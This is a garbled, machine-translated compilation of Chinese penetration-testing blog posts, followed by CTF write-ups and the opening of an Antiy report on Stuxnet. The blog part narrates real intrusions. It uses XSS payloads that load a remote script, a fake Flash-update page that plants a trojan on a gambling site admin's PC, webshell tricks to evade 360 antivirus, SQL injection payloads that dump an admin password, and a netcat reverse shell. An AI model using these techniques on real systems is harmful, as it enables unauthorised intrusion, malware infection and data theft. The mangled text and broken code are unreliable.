学习安全技术并承认自己的弱点不是丑闻。
只有明确原则,您才能突破更多的限制。 ——@ringzero
一,二,三,二,三,四,转身再次做。
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
学习安全技术并承认自己的弱点不是丑闻。
只有明确原则,您才能突破更多的限制。 ——@ringzero
一,二,三,二,三,四,转身再次做。
我不知道现在写年度摘要是否有点晚。
2019
在2019年,一切顺利。我一生中的第一次实习,进入了一些小的沟通,并遇到了一些真正的“大师”。通过各种渠道,例如论坛,官方帐户,QQ,微信组和小圈子,我每天都可以被动地积极地学习各种思想和知识,并进行一些技术积累,但我仍然觉得我缺乏某种东西,这是我的定位和发展方向。
由于我选择了穿透测试的路径,因此我必须坚持下去。面对知识的“深度”和“广度”的发展,这一直是我非常困惑的问题。
选择“深度”
找到一个领域,进行深入研究,并努力在几年内达到一定水平。最好成为该领域的相对领先地位,但我觉得我并不那么聪明。我一直都在研究,我正在模仿我已经研究的内容,而且很少有人自己研究它。
选择“广度”
这更适合工作场景的需求。为了达到目标要求,您将使用任何手段来支持它。困难不亚于前者,甚至更多。进行渗透测试时需要考虑的也是一个方面。我们需要做的是在表面上找到一个突破点。这个突破点不应仅限于网络,因此我们自然需要了解一些特殊的攻击方法,这就是为什么存在“广度”的原因。这种感觉变得更加清晰,尤其是在我看到并了解更多之后。
2020
我的答案
最近,我关注了一个带有匿名ID的大师撰写的博客。匿名可能是作品本质的原因。阅读后记录的内容或多或少会引起共鸣,我还找到了问题的答案。合格的“黑客”必须追求“广度”,同时也发展了他的“深度”。这两个实际上并没有冲突,但他们只需要将更多的精力置于他们善良的方向上。如果您坚持不懈,如果您有耐心,您将始终取得成果。
未来计划
将继续练习网络(很容易开始,很难深入研究)
扩展Intranet渗透的新方向(水平,没有杀戮,权利保护)
Python(清晰的想法,高效编码)
最终目标
努力通过自己独特的见解实现相对完整的渗透测试系统
我们必须保持良好的学习习惯,并使用这次我们通常学到的知识。
我几天前收到了一封电子邮件,内容如下:
您说将其发送给我有问题。我最近碰巧辞职了,我无事可做。让我们看看。
在添加了那个人的朋友之后,我偶然地聊了几个,这可能是:我说我没有钱从在线赌博中借钱,所以我请他带我去玩这个,所以我可以拿回贷款。几句话后,我向我发送了URL和邀请代码(我无法在本网站上没有邀请码注册),并要求我在网站上充电金钱。我说是的,我会先去一千。主人,你必须带我好,然后注册(后来,我没有为钱补充钱,所以他一直在摇晃我并给我发了一条消息。我感到很生气,所以我删除了他,所以聊天记录消失了,我只是指出了它,没有屏幕截图)。
这太麻烦了,无法通过信息收集阶段。有云盾(WAF+CDN)。查看以下Yunxi指纹识别图。测试各种功能点,但没有结果。我不得不说,大多数BC安全性都做得很好。
在考虑了一段时间之后,我看到了聊天室的功能,然后去看看他们在说什么,但是我发现只有少数人来回聊天,偶尔有一些像我这样的普通成员。我觉得这是一个口号,一群导师大喊与他们下注。
当您看到框时,要制作叉子,并用XSS有效载荷击中它:
1/textarea'script src=xssurl/脚本
WDNMD没有回应?它被加载了.我问其他大师,并说这种情况可能是CSP。我不会在这里解释。我最初计划放弃,但想到了如果不限制IMG怎么办。
再次吃我:
1IMG src=x OneError=s=createElement('script'); body.appendchild(s); s.src='xssurl';
ding〜ding〜电话响了,多么出色的声音,有效载荷已成功执行,还有一堆cookie(或不同的域名),但现实是残酷的。该网站具有httponly,无法使用cookie,并且尚未获得历史密码,但不要灰心,我们有一种更淫秽的方式。
由于前肛门无法移动您,让我们走到一边。不久前,我经常看到Wuchang大师的Flash Fishing操作,这非常经典。然后,我认为有一天我会使用官方Flash网站的捕鱼源代码。我很早就写了它,然后将其放在Github:Portal上。
一个自由空间,免费域名(域名可以用作www.flashxxx.tk,具有相对较高的信誉),以及可以正常启动的马匹。
然后,XSS平台创建一个模块,简要说明代码,在开始时重写警报方法,并阻止URL显示屏,弹出闪存升级提示符,然后跳到网络钓鱼页面:
可以在运行正常安装文件时运行mazi,野蛮姿势:使用自提取捆绑文件
为了使自由压缩的EXE文件正常运行(已更改为正常的安装文件图标),必须确保其具有减压软件。我压缩了钓鱼页的自我压缩文件,并变成了flashplayerpp_install_cn.zip。这样,他必须安装解压缩文件才能打开安装程序,并且MA ZI将自然生效。
由于技术有限,我们没有在没有杀死的情况下这样做。产生的马将被毒药部分杀死和报告。我不知道该怎么杀了对手,所以我想到了一种粗俗但有效的方法。实际上,许多在下载网站上下载的文件也喜欢这样做,哈哈。
一切都准备就绪,只需要东风,直接发送升级提示+跳跃XSS有效载荷我刚刚写道:
该页面成功弹出,如果另一方不单击确定的页面,他会保持卡住。单击确定后,我的钓鱼页将跳到我的钓鱼页面(这里的钓鱼页面还添加了一些材料,以便他可以在单击后跳回钓鱼页)
但是,一开始没有人在线,所以我单击了,看到管理员重置了聊天页面的内容。奥利曾经说过:不要害怕我们遇到的任何困难。让我们更改数字并继续越过。间歇性过境和越过十次以上后,管理员可能无法帮助它(管理员:兄弟,停止玩,我还不能安装它),最后跑了我的马。
在这里启动了一个,但幸运的是,这是管理员的机器,否则以前的努力将是徒劳的。
看一段时间,相反的一面正在做爱:
这很明显,您可以看到钓鱼页仍然打开,他们两个仍在讨论亏损,他们死于笑声:
我打开了一本书,但我不明白这一点:
让我们看看存储了什么好东西,两个硬盘驱动器和一个U驱动器,C驱动器驱动器一无所有:
F磁盘上有有关会员数据,账单流,管理后端配置等的信息。
我不会说太多。我看了在线IP,跑得很远,赚钱。我离开家乡并不容易。祝您在新的一年中和平重返祖国的拥抱。
在这里,我们只需要360来操作。防病毒能力仍然比360的能力差。
这是TeamViewer官方网站下载页面:https://WWW.TEAMVIEWER.CN/CN/CN/DOWNLOAD/WINDOWS/。大多数人都用来直接下载此安装版本以使用
我不知道您是否注意到了。实际上,TeamViewer还提供了无安装版本的安装版本
所有以下所有内容都连接到互联网,检测和杀戮引擎已完全打开(请参阅文章封面)
以下图以正常方式运行TeamViewerqs.s.exe。尽管有提示,您可以看到默认选项是允许操作。
假设现在我有此主机的网状壳,然后直接在马来西亚执行此文件
发现它成功弹出了
但是我们如何获得ID和密码? Toast共享了一部修改后的电视,该电视支持将帐户密码输出到文件中,但肯定会在以后被杀死。今天,我看到了Coolcat Master:Portal的文章。文章中有一个好主意,可以通过屏幕快照的想法获得。但是,Master CoolCat使用Python屏幕截图。实际上,没有人愿意每次在目标机器上安装Python环境。它应该简单简单。
有许多项目从GitHub上的命令行中获取屏幕截图。我刚刚找到一个:https://github.com/darealshinji/cmdline-screenshot-tool
在Webshell中,执行屏幕截图-Advanced64.exe并发现它被360截获了。我不知道为什么C ++中的360个报告的Java漏洞攻击.
这里的旁路方法也很简单。将ScreenShot-Advanced64.exe的后缀更改为.7Z(在命令行上执行二进制文件时可以忽略后缀名称),然后上传它们以执行。
然后查看网站的根目录
ScreenShost.png是生成的屏幕快照,如下
与帐户密码直接连接。有了远程桌面的权限,您是否仍然担心360无法做到?
010-1011目标客户端必须确定可以连接到TeamViewer的服务器
您必须使用远程桌面用户权限来运行TeamViewerqs.s.exe,否则屏幕将是黑色的,如果您连接到它。
上述应用程序方案仅适用于管理员不在时,因为建立远程会话后,双方都会看到它们。
将您学到的知识付诸实践。
经过常规过程后,我发现已读取标签信息的功能点是可疑的:
重播单语言:
您可以看到单个引号被逃脱了。查看关闭方法。没有大问题,因为有回声,因此您可以直接使用错误注入。
1127)或updatexml(1,concat(0x3a,user()),1
1127)或updatexml(1,(选择concat(0x7e,(schema_name),0x7e),inovys_schema.schema.schemata limit 0,1),1
取出我一段时间以前学到的狗打手法(超长字符绕过,不同类型的不同类型,原理是相同的):门户网站
以下内容与常规错误报告没有什么不同,所以我不会说太多,了解精神〜
在渗透测试中,您习惯于从开发人员的角度考虑实现功能,并且您会更快地发现有效的入口点。
结合Burpsuite入侵者模块中的GREP匹配功能,可以快速提取错误注射结果。
超长字符不仅可以用于绕过安全犬注入中,而且还可以使用XS来污染参数。
徽标]
将XSS有效载荷放在链接上,然后查看:
1234常规有效载荷:img src=x OneError=s=createElement('script''); body.appendChild(s); s.src='xssurl';构造有效载荷:[img | x OneError=s=s=createElement('scriptelement('script'')
它仅适用于想法组织,但没有提供实际的用法代码,请自己收集。
锻造另一方的身份以访问同一网站的phpinfo页面。由于具有相同的域,因此可以通过Ajax提交访问读取witlseText,其中$ _server [“ http_cookie”]将使用httponly属性打印出cookie。
优点:成功率很高,最不容易检测到,也是最常用的方法。
缺点:需要phpinfo页面,条件很恶劣。
通过iFrame标签嵌入了一个远程域,并且在完全扩展后,它覆盖了原始页面。
优点:没有跳跃,没有更改域名。
缺点:通常涵盖普通页面,管理员很容易检测到。
通过购买相似的域名,构建相同的网络钓鱼页面并使受害者跳到网络钓鱼站。
优势:强有力的倡议,可以主动采取行动。
缺点:成本很高,并且由于页面跳跃太明显,因此此方法很容易检测到。
通过JS锻造登录表格,并欺骗浏览器自动填充,从而获得浏览器记住的历史密码。
优点:不容易发现,可以直接获得纯文本,并以很高的成功率获得。
缺点:每个内核浏览器的兼容性不同,最新版本的Google不再支持HTTP协议下的自动填充功能。
通过XSS获取后端页面源代码,您通常可以找到一些未经授权的访问权限,或与CSRF合作以添加新用户或执行其他功能,并通过审核后端JS等发现一些漏洞。
优点:信息可详细获取,您也可以获取背景帐户名称。
缺点:它具有很大的局限性,并且不容易使用。
欢迎大师添加。
我已经实习了一个月,我觉得每天仍然很充实〜
目标站点:A.Com
经过一系列常规操作,我发现主站点上没有什么可开始的。幸运的是,车站A没有CDN,因此您可以尝试从侧车站进入。
IP反调查,我得到了同一服务器的大约20个域名。手动通过了几次之后,我发现侧站B.com(ASPX+MSSQL)已添加了单引号并报告了错误。我将其扔进了SQLMAP,然后首先运行它,然后继续看另一个侧面站。但是,其中大多数是WordPress站点或纯粹是静态的。我没有任何麻烦。看完一段时间后,我发现SQLMAP运行的结果如下:
123456789101112---Parameter: ProductID (GET)Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: ProductID=2' AND 1913=1913 AND 'GquC'='GquCType: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING条款(in)有效载荷: produciD=2'和1360 in(select(char(113)+char(113)+char(113)+char(107)+char(107)+char(107)+char(113)+char(113)+(select(select(case(1360=1360)) 'JOdp'='JOdp---web server operating system: Windows 8.1 or 2012 R2web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5back-end DBMS: Microsoft SQL Server 2008 When using SQLmap to continue running data, it was found that all dynamic pages of B station B reported errors.错误内容被翻译成一个短时间,这导致了过载数据库的查询请求太多,从而导致线程池被超载。
等待大约十分钟后,该网站恢复了正常,因此在关键时刻,手动工作仍然可靠。
由于SQLMAP给出的提示包括错误注入,因此直接用于注入错误,这是相对效率的。以下是注射过程以及需要关注的内容:
121. http://B.com/AutoMain.aspx?ProductID=1' and db_name()0--b.com_db
121. http://B.com/AutoMain.aspx?ProductID=1' having 1=1--Product.ProductID
The subquery does not support returning multiple数据,MSSQL不像MySQL那样支持限制。该解决方案在
1234561。http://B.com/automain.aspx?productId=1'and 1=(从sysobjects中选择xtype='u'and name!='fofe'sysobjects中的顶部1个名称! http://b.com/automain.aspx?productId=1'and 1=(从信息_schema.tables中选择顶级1个table_name); - 此方法可以查询任何用户表:3http://b.com/automain.aspx?productId=1'and con中的最佳名称,从sysobepts中选择xtypepts xtypempts xtypepts xtypepts xtypepts xtype) 1--Getted user table: AdminLogin
123456781. http://B.com/AutoMain.aspx?ProductID=1' and 1=(select top 1 name from sysobjects where id=(select id from sysobjects where name='AdminLogin') and name'id');--2. http://b.com/automain.aspx?productId=1'and 1=(从Information_schema.columns中选择顶级1列name); - 此方法可以查询adminlogin表的任何列:3。3http://b.com/automain.aspx?productId=1'and(colog_nate) sysobjects)1-获取用户表的列名:adminusernamePassword
123451。http://b.com/automain.aspx?productId=1',然后(从Adminlogin中选择Adminlogin中的顶级1用户名。 http://b.com/automain.aspx?productId=1'and(从Adminlogin中选择顶级1密码,其中adminid=1)1-计算密码:Adminisrislamabad
通过获得的帐户密码成功登录了B站的网站后端
文件上传位置仅验证文件类型,上传图片以获取包裹并更改后缀。连接到外壳后,您发现没有跨目录的许可,因此您只能继续增加权限。
一开始,我查看了系统过程,它不应该杀死软(实际上,有些,从国外杀死软的人的名字不是很引人注目),而且我什至没有打过几个补丁,所以我认为很容易得到它。
我以为我可以通过常规操作取消它,因此我直接运行了CS的遥控器,发现没有在线主机。仔细看了看后,我看到特洛伊木马刚刚去世,然后我意识到自己遇到了杀手。然后,我尝试了几个升高的当地经验,要么被杀,要么报告了错误。
后来我想起,来自吐司的兄弟分享了免于杀人的远程权利工具:
促进功率成功后,随后的操作将是顺利的。目的是获得A.Com Shell,首先使用NC使用系统权限反弹CMDShell,然后您可以直接写马或远程下载它,并且还有许多其他姿势.
https://www.jianshu.com/p/0cf7bd46237e
https://github.com/aleenzz/mssql_sql_bypass_wiki
PYCを使用してオンラインで逆コンパイルしてPythonソースコードを取得します。
#!/usr/bin/env python
#詳細については、https://tool.lu/pyc/をご覧ください
#version: python 3.8
ランダムをインポートします
def encrypt_file(file_path):
random.seed(114514)
#警告: Decompyleが不完全
file_path='./flag'
encrypt_file(file_path)
次に、AI分析を使用して、対応する復号化スクリプトを取得します
ランダムをインポートします
OSをインポートします
def decrypt_data(encrypted_data):
random.seed(114514)
decrypted_data=bytearray()
byte in necrypted_data:の場合
key=random.randint(0、128)
decrypted_data.append(byte ^ key)
decrypted_dataを返します
def read_file(file_path、mode='rb'):
open(file_path、mode)をfile:として
file.read()を返します
def write_file(file_path、data、mode='wb'):
open(file_path、mode)をfile:として
file.write(data)
def decrypt_file(encrypted_file_path、output_file_path):
encrypted_data=read_file(encrypted_file_path)
decrypted_data=decrypt_data(encrypted_data)
write_file(output_file_path、decrypted_data)
__NAME __=='__ Main __' :の場合
encrypted_file_path='flag.enc'
output_file_path='flag_decrypted.txt'
decrypt_file(encrypted_file_path、output_file_path)
#flag {u_r_g00d_at_do1n_pyc}
ヒント:データセキュリティ研究者がスマートデバイスによって収集されたデータをリアルタイムで分析すると、デバイスユーザーの価値が高いことを検出します。最高の値を分析するのに役立ちます。フラグ{MD5(データ収集デバイス名データ受信デバイス名値)}
心拍数は何度も表示されます。質問の説明に基づいてこれを探す必要があります。関連する心拍数のみを確認してください
フラグ{MD5(MIスマートバンド5_REDMI K40_128)}
フラグ{453D8FEDA5ADB6E7B4D54F71A9CE9E14}
ヒント:特定の従業員には、素数を生成する初期値があり、このアルゴリズムを長時間実行しました。このプログラムは誤って終了し、誤って初期値を削除しました。プレーンテキストを復元できますか?
ソースコード:
#task.py
#!/usr/bin/env python3
# - * - coding: utf-8-* -
秘密のインポートフラグから、init
crypto.util.Numberインポートから *
sage.allからimport *
gmpy2インポートirootから
m=bytes_to_long(flag.encode())
r=getPrime(128)
p=init
#範囲(r-1):の場合
#p +=next_prime(init)
#arsert iroot(p、3)[1]==1
Q=getPrime(12)
#n=p*q*r
n=r ** 4*q
E=getPrime(17)
c=pow(m、e、n)
印刷(f'r={r} ')
print(f'e={e} ')
印刷(f'c={c} ')
#R=287040188443069778047400125757341514899
#E=96001
#c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625
Qを取得するために12ビットの素数を爆破してから復号化します
crypto.util.Numberからlong_to_bytesをインポートします
R=287040188443069778047400125757341514899
E=96001
c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625
#指数のモジュラスが実際にr ** 4であると仮定すると
n=r ** 4
#emodφ(n)のモジュラー逆数を計算します。ここで、φ(n)は(r-1)*(r ** 3)のようなrの関数になる可能性があります
#RSA復号化式m=c^d mod nにはφ(n)の正しい値が必要です。ここで、d=e^( - 1)modφ(n)
#ここで、φ(n)=r^4 -r^3を単純化として仮定すると、実際のRSAセットアップに基づいてこれを調整する必要があるかもしれません
phi_n=r ** 4 -r ** 3
d=inverse(e、phi_n)
#メッセージを復号化します
m=pow(c、d、n)
#番号をバイトに変換します
メッセージ=long_to_bytes(m)
印刷(メッセージ)
#flag {3b0ce326141ea4f6b5bf2f37efbd1b42}
BKZアルゴリズムを使用して、一連のベースを解くバックパック暗号化
#!/usr/bin/env python3
# - * - coding: utf-8-* -
sage.allからimport *
秘密のインポートフラグから
crypto.util.Numberインポートから *
数学からインポートlog2から
クラスナープサック:
def __init __(self、n、m):
self.m=[]
self.n=n
self.m=self.pre(m)
self.a=0
self.b=0
def pre(self、m):
tmp_m=bin(m)[2:]
t=[]
TMP_M:のTMPの場合
T.Append(int(tmp))
tを返します
def get_m(self):
seq=[randint(2 ** 34,2 ** 35)for _ in range(self.n)]
self.m=seq
def calc_denity(self):
t=log2(max(self.m))
d=self.n/t
印刷(d)
def enc(self):
self.get_m()
self.calc_dences()
c=0
範囲のt(len(self.m)):
c +=self.m [t] * self.m [t]
印刷(f'c={c} ')
print(f'm={self.m} ')
__NAME __=='__ Main __' :の場合
m=bytes_to_long(flag.encode())
n=m.bit_length()
k=ナップサック(n、m)
k.enc()
#c=231282844744
#M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、23936341812、31011714749、30524482330、21733333371593、17530715307153071530715307153071530717153071530715307153071530715307153071530715307153071530715307153071530715307153071715チ19140841231、33846825616、17334386491、28867755886、2935454582、21758322019、27261411361、31465376167、26145493792、270792、270792、2707992 33514052206、25397635665、21970496142、30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、21108080920]
Sagemathで実行:
crypto.util.Number inmort long_to_bytesから
C=231282844744
M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、
23936341812、31011714749、30524482330、21737374993、17530717152、19140841231、
33846825616、17334386491、288677555886、29354544582、21758322019、27261411361、
31465376167、26145493792、27075307455、33514052206、25397635665、21970496142、
30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、
21108080920]
l=block_matrix([[1、matrix(zz、m)]、[0、c]])。lll())。
L:の行
row [-1]==0およびlen(set(row [:-1]))==1:の場合
#最後の要素を除くすべての要素が同じであると仮定すると同じです
ans=[abs(i)in ow in ow in [:-1]]
ans=int( ''。join(map(str、ans))、2)
print(long_to_bytes(ans))
OpenPyxlをインポートします
リクエストをインポートします
インポート時間
urllib.parseインポートurlencodeから
burp0_url='http://121.40.65.125:23328/submit'
Def devery_name_and_id(input_file、output_file):
wb=openpyxl.load_workbook(input_file)
ws=wb.active
ws.iter_rows(min_row=1、max_col=1、max_row=ws.max_row、values_only=true):の行の場合
行[0] :の場合
名前、id_number=row [0] .split( '----')#extrame name and Identityカード
印刷(名前、id_number)
Age=2024-int(id_number [6:10])
if(int(id_number [10:12])4):
年齢- =1
sexx=u'male '
burp0_json={'address':' asd '、' age ': str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard': id number、' name ': '' '' 'position ':' as '、' sex': sexx}
sexx2=u'female '
burp0_json1={'address':' asd '、' age '3: str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard'3360 id _number、' name ': '' '、 'position ':' as '、' sex': sexx2}
try:
r0=requests.post(burp0_url、json=burp0_json)
r1=requests.post(burp0_url、json=burp0_json1)
print(r0.request.body)
print(r0.text、r1.text)
#time.sleep(0.5)
requests.exceptions:を除く
print( 'err')
#time.sleep(2)
#ws.append([name.strip()、id_number.strip()])
#wb.save(output_file)
wb.close()
__name__=='__main __' :の場合
input_file='data1.xlsx'
output_file='deprosed_data.xlsx' #Noの使用、破棄されます
devery_name_and_id(input_file、output_file)
レビューbundle.js
アクセスするパラメーターを取得します
ヒント:
要件に応じて、データベースからいくつかのユーザーデータを完全に削除するには、提供されたMySQLコンテナに接続してすべてのCTFテーブルを削除してください。ユーザーIDは5142、2123、1169、および8623です。これらのユーザーを徹底的にクリーンアップする必要があり、サーバーでは残りのデータを見つけることはできません[および他のユーザーデータも変更できません。操作が成功すると、システムはCTF.FLAGテーブルにフラグデータを入力します。 (MySQL CTFユーザーパスワードPSWD@123)
( '5142'、 '2123'、'1169 '、' 8623 ')のushows_id in(' 5142 '、' 2123 '、' 18623 ')から削除します。
( '5142'、 '2123'、'1169 '、' 8623 ')inuser_id in(' 5142 '、' 2123 '、' 8623 ');
userlog where where user_id in( '5142'、 '2123'、'1169 '、' 8623 ');
user_id in( '5142'、 '2123'、'1169 '、' 8623 ');
( '5142'、 '2123'、'1169 '、' 8623 ')でid(' 5142 '、' 2123 '、'1169'、 ');
テーブルを再構築し、削除後に残りのデータをクリアします
Alter Tableユーザーエンジン=innodb;
Alter Table userlog Engine=innodb;
Table TransactionHistory Engine=Innodbを変更します。
Alter Table ShopphingCart Engine=Innodb;
Alter Table Orders Engine=Innodb;
第3レベルのマジックスクエアには8つの結果しかありません。もう数回試してみてください
Hashlibをインポートします
ランダムをインポートします
文字列をインポートします
#文字セットを英数字として定義します
charset=string.ascii_letters + string.digits
true:
#チャーセットからランダムな4文字列を生成します
rand_str='' .join(random.choice(charset)for _ in _ in range(4)) + 'cyhqp8lsgzyjtnud'
#文字列のSHA-256ハッシュを計算します
hash_output=hashlib.sha256(rand_str.encode())。hexdigest()
#ハッシュがターゲットハッシュと一致するかどうかを確認します
hash_output=='11f8af166cc28e24b4646cc300436f4d4bf8e11b2327379331a3eca2d5fc7c0c'3360の場合
print(rand_str [:4])#一致が見つかった場合は最初の4文字を印刷します
壊す
'' '
[2、7、6、9、5、1、4、3、8]
[2、9、4、7、5、3、6、1、8]
[4、3、8、9、5、1、2、7、6]
[4、9、2、3、5、7、8、1、6]
[6、1、8、7、5、3、2、9、4]
[6、7、2、1、5、9、8、3、4]
[8、1、6、3、5、7、4、9、2]
[8、3、4、1、5、9、6、7、2]
4 3 8
9 5 1
2 7 6
'' '
1.概述2024年2月12日,美國網絡安全公司SentinelOne在其官網上發布題為“China’s Cyber Revenge/Why the PRC Fails to Back Its Claims of Western Espionage”的報告[1],(以下簡稱“SentinelOne報告”),對“中國三家知名網絡安全企業360、奇安信、安天及中國網絡安全產業聯盟(CCIA)”等機構揭露美方情報機構網絡攻擊的相關報告進行解讀。我們先直接概括其報告中的觀點和關鍵邏輯。
SentinelOne報告對我們公開的分析報告基於時間線進行了梳理,並引述一些美方人士觀點,設定瞭如下觀點:
1、中方報告是對國際其他機構對美方分析的跟進,存在長期滯後;
2、中方分析工作嚴重依賴美方自身的信息洩露;
3、中方報告沒有“PCAP包”級別的技術實證。
SentinelOne報告的邏輯並不是應答全球網絡安全業界和研究者過去二十年來對美方情報機構攻擊活動和能力的持續分析曝光,包括在美方多次信息洩露中所暴露出來的觸目驚心的真相,而是試圖把國際關注度轉移到中國網絡安全工作者的技術能力和水平是否能夠支撐其持續獨立發現、分析、研究、溯源美方的攻擊上,並將實證的概念窄化為一種具體的技術格式。美西方此前長時間習慣性地從宏觀層面誇大中國網絡安全能力,以便為其情報機構和軍工複合體爭取巨額的網絡安全預算,而此時,突然又在微觀層面開啟一波認為中國分析溯源能力很差的“嘲諷”流,並宣判:作為被霸凌者,你們反抗無效!
對SentinelOne報告所提及的中國安全企業的分析報告,有很大比例來自安天安全研究與應急處理中心(安天CERT),我們當然承認:作為一個企業級別的安全分析團隊,分析美國情報機構這種超級網空威脅行為體的網絡攻擊活動和支撐體系,是非常艱苦的工作。我們知道其中有巨大的能力、資源等方面的落差。我們就如同一隻警覺的白兔,努力睜大雙眼去發現和分析在迷霧森林中吞噬咀嚼各種弱小動物的巨型鷹鷲,我們希望努力畫出它的樣貌,提醒森林裡的其他動物警惕它的襲擊。
2015年,我們提出了A2PT(即高級的高級持續性威脅)這一名詞,以此明確其空前的能力和威脅,也提醒我們自己,對抗和分析這種攻擊能力會有多麼困難。
分析、溯源APT攻擊本身是一個長期、複雜、需要大量資源,需要高度嚴謹的科學態度和耐心定力的工作,對於更為複雜的A2PT的分析則需要付出更大的代價。我們的工作過程基本不為常人所知,分析成果又只有專業人士才能充分理解。所以儘管SentinelOne報告整體邏輯如此之荒謬,但如果我們不向SentinelOne(我們願意稱呼他們為美國同行)點破若干他們視而不見的真相,包括向他們分享一點我們(也包括國際網絡安全業界)對APT分析工作的真正理解,就不足以讓人們看清SentinelOne報告貌似專業、甚至“公正”的梳理和分析下面隱藏的對世界的欺騙。
因此我們很感謝SentinelOne報告,讓我們有機會以自己的回憶視角串聯若干歷史分析工作,包括促成我們公佈這些工作中的一些未出現在歷史報告中的過程線索。由於這段歷程過於漫長,我們一度認為若干有價值的分析成果已經覆滿塵土,但SentinelOne報告讓我們可以把它們重新摘選出來,重新對世界發出告知與提醒。讓所有尋求真相的人們,把我們的這份報告與SentinelOne報告擺放在一起,看看何為詭辯,何為邏輯與真相!
我們並不自詡正確,但我們總還有講述自己經歷的權力!
2.接力追踪鷹鷲的足跡美方情報機構的網絡攻擊不是孤立的行動,而是基於0day漏洞、高級惡意代碼持久化和基於人力、電磁和網空混合作業的長期佈局,並有龐大的工程體係作為支撐。在長期作業過程中可能經歷大型惡意代碼工程的多次迭代,這使得國際網絡安全業界的分析曝光工作看起來像一場工作接力。
第一個接力高峰期,2010年由“震網”事件所觸發,並沿著“火焰”“毒曲”“高斯”等複雜的惡意代碼展開。 SentinelOne的時間線開始就選錯了起點,包括中國網絡安全工作者在內的國際網安業界分析工作起跑於2010年,我們的工作和國際業內同仁是基本同步啟動的,而不是2012年。 2010年7月13日國際網絡安全企業最早曝光相關消息後,我們在7月15日依托設定的關鍵字符串守候到了樣本,並著手搭建“震網”的模擬分析環境,開始模擬分析相關機理。
圖2‑1安天搭建的“震網”簡易模擬分析沙盤(2010.7)
針對“震網”的接力分析,是由很多複雜而瑣碎的工作組成的。例如幾乎所有參與分析的機構,都在其中找到了感染USB設備的擺渡感染代碼。但多數沒有成功觸發復現USB擺渡行為。安天的分析貢獻之一是對其擺渡的關鍵機理進行了深入分析,指出了其擺渡傳播的控制條件,從而解釋了其與其他蠕蟲差異明顯的受控傳播特性。在2010年10月11日的《对Stuxnet的后续分析》 [2]中,我們解讀了:
Stuxnet是否感染到U盤,取決於配置數據中的多個域,包括:
马云惹不起马云偏移0x6c、0x70、0xc8處的標記位;
马云惹不起马云偏移0x78、0x7c處的時間戳;
马云惹不起马云偏移0x80、0x84處的數值。
只有當每個域對應的條件都滿足時,才會感染U盤。其中,偏移0xc8處的位默認設置為不感染。
圖2‑2“震網”文件釋放結構和USB傳播邏輯圖(2010.10)
但我們對當時的分析精細度並不滿意,在九年後的“震網”事件最終報告[3]中,我們對完整的標誌位做了更新:
圖2‑3震網擺渡配置內容解析(2019.9)
2010年面對如此復雜的攻擊時,我們承認自己匱乏資源與經驗,作為從病毒分析組轉型的應急分析團隊,我們太習慣於代碼功能逆向的視角,而並未將其所使用的多個0day漏洞進行逐一驗證,也就留下了一個嚴重的分析錯誤,把針對Windows打印後台程序漏洞的利用當作了對打印機的攻擊,還留下瞭如下帶有錯誤的圖示。這也間接導致了多份國內外的文獻由於引用了我們的圖示而產生關聯錯誤。
圖2‑4 Stuxnet蠕蟲突破物理隔離環境的傳播方式的錯誤圖示(2010.9)
儘管對“震網”事件的深入分析了解是全球所有APT分析研究者的基本功,但我們篤定的是:SentinelOne不會比我們更了解“震網”,因為如果他們分析過樣本,恐怕就不會不知道“震網”會提取主機信息並追加於Payload尾部。顯然,基於我們樣本庫中大量的“震網”樣本對主機信息的還原,會提取出大量中國計算機被感染的證據。而這恰恰就是SentinelOne報告所說的實證。
圖2‑5安天基於樣本提煉整理的感染中國計算機節點的部分數據
當美方領導人和政府人士不僅在多次場合中暗示承認“震網”與其情報機構的關係,甚至明顯以此作為擁有強大網絡攻擊威懾的一種宣示時,對事件的分析就已經不能停留在樣本分析和技術實證層面,而必須更深入的判斷打開信息戰“潘多拉魔盒”的影響。在對“震網”的分析中,安天量化對比了“震網”事件與二十年前的凋零利刃與巴比倫行動,明確提出“震網”的災難性里程碑意義,在於其證明了網絡攻擊能達成傳統作戰行動的局部等效性。
表2‑1兩次針對主權國家核計劃所採用的軍事行動與準軍事行動的對比分析(2015)
凋謝利刃與巴比倫行動(傳統作戰行動)
震網行動(網絡戰行動)
發起攻擊者
以色列、伊朗、美國
美國、以色列
被攻擊目標
伊拉克核反應堆
伊朗鈾離心設施
時間週期
1977-1981年
2006-2010年
人員投入
以色列空軍、特工人員、伊朗空軍、美國空軍和情報機構
美、以情報和軍情領域的軟件和網絡專家,工業控制和核武器的專家
產出
多輪前期偵查和空襲,核反應堆情報
戰場預製、病毒的傳播和伊朗核設施情報
各方裝備投入
伊:2架F-4鬼怪式以12枚MK82減速炸彈-轟炸核反應堆假設工地;10架F-4襲擊伊拉克H-3空軍基地。
以:2架F-4E(S)-偵查任務;8架F-16A(美方提供)、4架F-15A、2架F-15B、16枚MK84炸彈-空襲反應堆
模擬搭建反應堆
特工人員暗殺伊拉克關鍵人員
美方:戰略衛星和情報、空中加油機
震網病毒
模擬搭建離心機和控制體系
效費比
打擊快速,準備期長,耗資巨大,消耗大,行動複雜,風險高
週期長,耗資相對軍事打擊低,但更加精準、隱蔽,不確定性後果更低
訓練成本
18個月模擬空襲訓練,2架F-4鬼怪攻擊墜毀,3名飛行員陣亡
跨越兩位總統任期,經歷了5年的持續開發和改進
消耗
人力、軍力、財力、裝備力、情報
人力、財力、情報
毀傷效果
反應堆被炸毀,嚇阻了法國供應商,伊拉克核武器計劃永久遲滯
導致1000台至2000台離心機癱瘓,鈾無法滿足武器要求,幾乎永久性遲滯了伊朗核武器計劃
